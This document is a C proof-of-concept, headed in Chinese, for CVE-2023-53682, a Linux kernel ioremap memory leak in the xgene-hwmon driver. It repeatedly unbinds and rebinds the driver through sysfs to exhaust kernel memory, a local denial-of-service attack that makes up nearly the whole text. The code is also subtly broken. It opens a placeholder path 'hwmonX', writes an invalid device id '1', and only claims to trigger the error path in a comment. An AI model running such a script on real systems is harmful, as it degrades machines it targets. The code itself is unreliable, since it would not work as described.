CVE-2023-53682 Linux内核xgene-hwmon驱动ioremap内存泄漏漏洞

/* * CVE-2023-53682 Proof of Concept * Trigger memory leak in xgene-hwmon driver by repeated probe/deprobe cycles * * Note: This vulnerability requires local access and specific hardware (X-Gene platform). * The PoC demonstrates how to trigger the resource leak by forcing driver re-probe. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/ioctl.h> /* Trigger repeated probe failures to accumulate memory leaks */ int trigger_xgene_hwmon_leak() { int fd; char buf[256]; int i; /* Step 1: Try to access xgene-hwmon device */ fd = open("/sys/class/hwmon/hwmonX/name", O_RDONLY); if (fd < 0) { /* Device not present - cannot exploit on non-X-Gene platforms */ printf("[-] xgene-hwmon device not found\n"); return -1; } /* Step 2: Force repeated bind/unbind to trigger memory leak */ for (i = 0; i < 1000; i++) { /* Unbind the driver */ fd = open("/sys/bus/platform/drivers/xgene-hwmon/unbind", O_WRONLY); if (fd >= 0) { write(fd, "1\0", 2); close(fd); } /* Rebind the driver - each rebind leaks ioremap/memremap memory */ fd = open("/sys/bus/platform/drivers/xgene-hwmon/bind", O_WRONLY); if (fd >= 0) { write(fd, "1\0", 2); close(fd); } /* Trigger error path in probe by manipulating resources */ /* This causes ioremap/memremap to be called but not freed */ } printf("[*] Memory leak triggered - check /proc/meminfo for kernel memory depletion\n"); close(fd); return 0; } int main(int argc, char *argv[]) { printf("CVE-2023-53682 - xgene-hwmon ioremap/memremap leak PoC\n"); return trigger_xgene_hwmon_leak(); }